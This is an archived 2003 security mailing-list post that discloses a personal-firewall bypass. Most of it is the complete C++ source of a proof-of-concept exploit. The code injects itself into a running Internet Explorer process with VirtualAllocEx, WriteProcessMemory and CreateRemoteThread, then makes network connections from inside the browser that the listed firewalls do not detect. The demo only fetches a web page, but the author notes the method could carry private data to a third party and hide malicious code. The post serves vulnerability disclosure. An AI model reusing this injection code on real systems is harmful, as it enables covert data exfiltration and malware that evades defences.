Vuln Dev
Bypassing Personal Firewalls Feb 21 2003 12:35AM
xenophi1e (oliver lavery sympatico ca) (1 replies)


Hi,

Here's a code snippet that injects code directly into a running process

without the need for a DLL etc. Demonstrates that process boundaries

under NT mean very little within the context of a given UID.

This allows PFWs to be bypassed, as well as making it very easy to hide

running malicious code on a system. The example is a 'sploit that makes a

connection from within IE, and slips under the radar of all PFWs I've

tested.

Having briefly discussed this with PFW vendors, it doesn't appear to be

much of a concern to them. I think it illustrates that OpenProcess,

ptrace, and the like should really enforce filesystem priviledges on the

processes they can modify.

///////////////////////////////////////////////////////////////////

// fw_bypass.cpp | thermite.exe

///////////////////////////////////////////////////////////////////

//

// (C) 2003 Oliver Lavery

//

// This program establishes socket connections and transfers information

in a manner

// which should be undetectable by all current personal firewall products.

//

// Tested on:

// Windows XP Professional SP1

// (should run on any NT variant)

//

// Known vulnerable:

// ZoneAlarm Pro 3.5 (all settings at highest)

// Zero-Knowledge Freedom Firewall

// Look'n'Stop 2.04

// Sygate Personal Firewall PRO (highest settings)

// Norton Personal Firewall 2003 (highest settings)

//

// (should smoke 'em all)

//

////

// Compile me with VC++ 98. Other compilers may work.

//

// /ML /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_WINDOWS"

// /D "_MBCS" /Fo"Release/" /Fd"Release/" /FD /c

// (no stack checking, no "catch release errors in debug", no incremental

linking.

// they all break stuff here)

#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from

Windows headers

#include <windows.h>

#include <winsock2.h>

#include <tlhelp32.h>

//////////// Injected Code.//////////////

// This code is a bit funky. The idea here is to write C in such a way

that it is relocatable

// in the strictest sense of the word (can be passed accross process

boundaries at run-time).

// To do this the injected code has to contain no static references to

symbols that reside at

// a fixed memory address. Also this part of the code is incompatable

with incremental linking,

// and stack checking.

//

// There's really no advantage to doing this in C rather than assembly

other than the

// fact that it's cool. I wanted to see if it would be feasible to inject

C code for other,

// bigger projects.

// NB, please excuse the Hungarian notiation. I hate it too. When in

Rome...

//User32

typedef int (__stdcall *func_MessageBox)( HWND hWnd, LPCTSTR lpText,

LPCTSTR lpCaption, UINT uType );

//Wsock32

typedef SOCKET (__stdcall *func_socket)( int, int, int );

typedef unsigned long (__stdcall *func_inet_addr)( const char FAR *);

typedef u_short (__stdcall *func_htons)( u_short );

typedef int (__stdcall *func_connect)( SOCKET, const struct sockaddr

FAR*, int );

typedef int (__stdcall *func_send)( SOCKET, const char FAR *, int, int );

typedef int (__stdcall *func_recv)( SOCKET, char FAR*, int len, int

flags );

typedef int (__stdcall *func_WSAStartup) ( WORD wVersionRequested,

LPWSADATA lpWSAData );

//Kernel32

typedef HANDLE (__stdcall *func_CreateFile)( LPCTSTR, DWORD, DWORD,

LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE );

typedef BOOL (__stdcall *func_WriteFile)( HANDLE, LPCVOID, DWORD,

LPDWORD, LPOVERLAPPED );

typedef BOOL (__stdcall *func_CloseHandle)( HANDLE hObject );

typedef HMODULE (__stdcall *func_GetModuleHandle)( LPCTSTR );

typedef FARPROC (__stdcall *func_GetProcAddress)( HMODULE, LPCSTR );

typedef HINSTANCE (__stdcall *func_LoadLibrary)( LPCTSTR );

typedef struct _tag_inj_info {

func_GetModuleHandle GetModuleHandle;

func_GetProcAddress GetProcAddress;

func_LoadLibrary LoadLibrary;

char szRequest[128];

int lRequest;

char szFile[255];

char szAddr[32];

char szErrCmnt1[64];

char szErrCmnt2[64];

char szErrTitle1[64];

char szErrTitle2[64];

char szErrTitle3[64];

// module names

char szKernel32[32];

char szUser32[32];

char szWSock32[32];

// func names

char szMessageBox[32];

char szSocket[32];

char szInet_Addr[32];

char szHtons[32];

char szConnect[32];

char szSend[32];

char szRecv[32];

char szCreateFile[32];

char szWriteFile[32];

char szCloseHandle[32];

char szWSAStartup[32];

} inj_info ;

// Calls to the stack-checking routine must be disabled.

// VC++ doesn't always obey this pragma

#pragma check_stack(off)

// This function runs in IE's address space

static DWORD WINAPI ThreadFunc( inj_info *info )

{

HMODULE hKernel32, hWSock32, hUser32;

// User32

func_MessageBox l_MessageBox;

// Winsock2

func_WSAStartup l_WSAStartup;

func_socket l_socket;

func_inet_addr l_inet_addr;

func_htons l_htons;

func_connect l_connect;

func_send l_send;

func_recv l_recv;

// Kernel32

func_CreateFile l_CreateFile;

func_WriteFile l_WriteFile;

func_CloseHandle l_CloseHandle;

// locals for actual functionality

SOCKET s;

SOCKADDR_IN sa;

HANDLE outfile;

char buf[255];

DWORD count;

DWORD read, wrote, error;

BOOL needStartup;

WSADATA foo;

WORD wVersion;

count = 0;

wVersion = MAKEWORD( 2, 0 );

needStartup = FALSE;

// Dynamically bind API functions

hUser32 = info->GetModuleHandle( info->szUser32 );

if (hUser32 == NULL) hUser32 = info->LoadLibrary( info-

>szUser32 );

if (hUser32 == NULL) return 0;

l_MessageBox = (func_MessageBox) info->GetProcAddress( hUser32,

info->szMessageBox );

hKernel32 = info->GetModuleHandle( info->szKernel32 );

if (hKernel32 == NULL) hKernel32 = info->LoadLibrary( info-

>szKernel32 );

if (hKernel32 == NULL) {

l_MessageBox( NULL, info->szKernel32, info->szErrTitle3,

MB_OK );

return 0;

}

l_CreateFile = (func_CreateFile)info->GetProcAddress( hKernel32,

info->szCreateFile );

l_WriteFile = (func_WriteFile)info->GetProcAddress( hKernel32,

info->szWriteFile );

l_CloseHandle = (func_CloseHandle)info->GetProcAddress(

hKernel32, info->szCloseHandle );

hWSock32 = info->GetModuleHandle( info->szWSock32 );

if (hWSock32 == NULL) {

needStartup = TRUE;

hWSock32 = info->LoadLibrary( info->szWSock32 );

}

if (hWSock32 == NULL) {

l_MessageBox( NULL, info->szWSock32, info->szErrTitle3,

MB_OK );

return 0;

}

l_WSAStartup = (func_WSAStartup)info->GetProcAddress( hWSock32,

info->szWSAStartup );

l_socket = (func_socket)info->GetProcAddress( hWSock32, info-

>szSocket );

l_inet_addr = (func_inet_addr)info->GetProcAddress( hWSock32,

info->szInet_Addr );

l_htons = (func_htons)info->GetProcAddress( hWSock32, info-

>szHtons );

l_connect = (func_connect)info->GetProcAddress( hWSock32, info-

>szConnect );

l_send = (func_send)info->GetProcAddress( hWSock32, info-

>szSend );

l_recv = (func_recv)info->GetProcAddress( hWSock32, info-

>szRecv );

// Ok. Do stuff.

if ( needStartup )

{

l_WSAStartup(2, &foo);

}

s = l_socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );

sa.sin_family = AF_INET;

sa.sin_addr.s_addr = l_inet_addr( info->szAddr );

sa.sin_port = l_htons(80);

if ( ! (error = l_connect( s, (SOCKADDR *)&sa, sizeof(sa) ) ) ) {

outfile = l_CreateFile( info->szFile, GENERIC_WRITE, 0,

NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL );

if ( outfile != INVALID_HANDLE_VALUE ) {

l_send( s, info->szRequest, info->lRequest, 0);

while ( read = l_recv( s, buf, 255, 0 ) ) {

l_WriteFile( outfile, buf, read, &wrote,

NULL );

}

l_CloseHandle( outfile );

} else {

l_MessageBox( NULL, info->szErrCmnt1, info-

>szErrTitle1, MB_OK );

}

} else {

l_MessageBox( NULL, info->szErrCmnt2, info->szErrTitle2,

MB_OK );

}

return 0;

// XXX forgot to close the socket.

}

static void AfterThreadFunc (void) {

}

#pragma check_stack

///////// "Normal" Code /////////////

void ErrorNotify(DWORD err, char *title)

{

LPVOID lpMsgBuf;

FormatMessage(

FORMAT_MESSAGE_ALLOCATE_BUFFER |

FORMAT_MESSAGE_FROM_SYSTEM,

NULL,

err,

MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), // Default

language

(LPTSTR) &lpMsgBuf,

0,

NULL

);

// Display the string.

MessageBox( NULL, (char *)lpMsgBuf, title,

MB_OK|MB_ICONINFORMATION );

// Free the buffer.

LocalFree( lpMsgBuf );

};

// Bits of this function are from M$ Research's Detours library.

// A great resource for ways to do 3vi1 stuff on windows, btw.

static BOOL InjectExploit(HANDLE hProcess)

{

BOOL fSucceeded = FALSE;

// The address where code will be copied to in the remote process.

PDWORD pdwCodeRemote = NULL;

// Calculate the number of bytes in the ThreadFunc function.

const int cbCodeSize = ((LPBYTE) AfterThreadFunc - (LPBYTE)

ThreadFunc);

// The address where InjLibInfo will be copied to in the remote

process.

inj_info *pInjLibInfoRemote = NULL;

// The number of bytes written to the remote process.

DWORD dwNumBytesXferred = 0;

// The handle and Id of the thread executing the remote copy of

ThreadFunc.

DWORD dwThreadId = 0;

const DWORD cbMemSize = cbCodeSize + sizeof(inj_info) + 3;

HANDLE hThread = NULL;

DWORD dwOldProtect;

inj_info info = {

// functions used to run-time link. (always at same addresses on windows)

NULL, // GetModuleHandle

NULL, // GetProcAddress

NULL, // LoadLibrary

//// initialized data

"GET / HTTP/1.0\n\n\n",

strlen("GET / HTTP/1.0\n\n\n"),

"",

"205.206.231.12",

"Can't create file",

"Can't connect to securityfocus",

"File Error",

"Socket Error",

"Linking Error",

// module names

"kernel32.dll",

"user32.dll",

"wsock32.dll",

// func names

"MessageBoxA",

"socket",

"inet_addr",

"htons",

"connect",

"send",

"recv",

"CreateFileA",

"WriteFile",

"CloseHandle",

"WSAStartup"

};

GetCurrentDirectory( sizeof( info.szFile ), info.szFile );

strcat( info.szFile, "\\securityfocus.html");

HMODULE hKernel32;

hKernel32 = GetModuleHandle( "kernel32.dll" );

info.GetModuleHandle = (func_GetModuleHandle)GetProcAddress(

hKernel32, "GetModuleHandleA" );

info.GetProcAddress = (func_GetProcAddress)GetProcAddress(

hKernel32, "GetProcAddress" );

info.LoadLibrary = (func_LoadLibrary)GetProcAddress(

hKernel32, "LoadLibraryA" );

// Allocate memory in the remote process's address space large

// enough to hold our ThreadFunc function and a inj_info

structure.

pdwCodeRemote = (PDWORD)VirtualAllocEx(hProcess, NULL, cbMemSize,

MEM_COMMIT | MEM_TOP_DOWN,

PAGE_EXECUTE_READWRITE);

if (pdwCodeRemote == NULL) {

MessageBox( NULL, "IE not running. Please run IE, load a

page, and re-run this exploit.", "Can't find process", MB_OK);

ErrorNotify( GetLastError(), "VirtualAllocEx Failed" );

goto finish;

}

// Change the page protection of the allocated memory

// to executable, read, and write.

if (!VirtualProtectEx(hProcess, pdwCodeRemote, cbMemSize,

PAGE_EXECUTE_READWRITE,

&dwOldProtect)) {

ErrorNotify( GetLastError(), "VirtualProtectEx Failed" );

goto finish;

}

// Write a copy of ThreadFunc to the remote process.

if (!WriteProcessMemory(hProcess, pdwCodeRemote,

(LPVOID)

ThreadFunc, cbCodeSize, &dwNumBytesXferred)) {

ErrorNotify( GetLastError(), "WriteProcessMemory

Failed" );

goto finish;

}

// Write a copy of inj_info to the remote process

// (the structure MUST start on an even 32-bit boundary).

pInjLibInfoRemote = (inj_info *)(((PBYTE)pdwCodeRemote) +

((cbCodeSize + 4) & ~3));

// Put inj_info in remote thread's memory block.

if (!WriteProcessMemory(hProcess, pInjLibInfoRemote,

&info, sizeof

(info), &dwNumBytesXferred)) {

ErrorNotify( GetLastError(), "WriteProcessMemory2

Failed" );

goto finish;

}

if ((hThread = CreateRemoteThread(hProcess, NULL, 65536,

(LPTHREAD_START_ROUTINE)

pdwCodeRemote,

pInjLibInfoRemote, 0, &dwThreadId))

== NULL) {

ErrorNotify( GetLastError(), "CreateRemoteThread Failed" );

goto finish;

}

fSucceeded = TRUE;

finish:

if (hThread != NULL)

CloseHandle(hThread);

if (fSucceeded) MessageBox( NULL, ".\\securityfocus.html should

now contain the results of an HTTP request which in theory could have

transmitted your private information to a third party.\n"

"If you did not see a firewall warning, your firewall did

not detect the request and is vulnerable to this exploit."

, "Success", MB_OK );

return fSucceeded;

}

// There is no real reason to target IE, other than most users have it

running a lot, and it

// is usually allowed to bypass PFWs. Note that using the same technique

it would be easy to inject

// code to run a server inside another process as well, but IE is not

normally allowed to do this

// XXX there are better ways to get a PID.

DWORD GetIEProcessID( void )

{

HANDLE hSnap;

PROCESSENTRY32 ppe;

hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

ppe.dwSize = sizeof( PROCESSENTRY32 );

Process32First( hSnap, &ppe );

while ( 1 ) {

if ( !stricmp( "iexplore.exe", ppe.szExeFile ) ) return

ppe.th32ProcessID;

if ( !Process32Next( hSnap, &ppe ) ) break;

}

CloseHandle( hSnap );

return FALSE;

}

int APIENTRY WinMain(HINSTANCE hInstance,

HINSTANCE hPrevInstance,

LPSTR lpCmdLine,

int nCmdShow)

{

DWORD dwIE_PID = GetIEProcessID();

HANDLE hIE = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwIE_PID);

// XYZZY!

InjectExploit( hIE );

return 0;

}

[ reply ]
Re: Bypassing Personal Firewalls Feb 21 2003 04:38PM
H C (keydet89 yahoo com) (1 replies)
RE: Bypassing Personal Firewalls Feb 21 2003 05:01PM
Oliver Lavery (oliver lavery sympatico ca)


 

Privacy Statement
Copyright 2010, SecurityFocus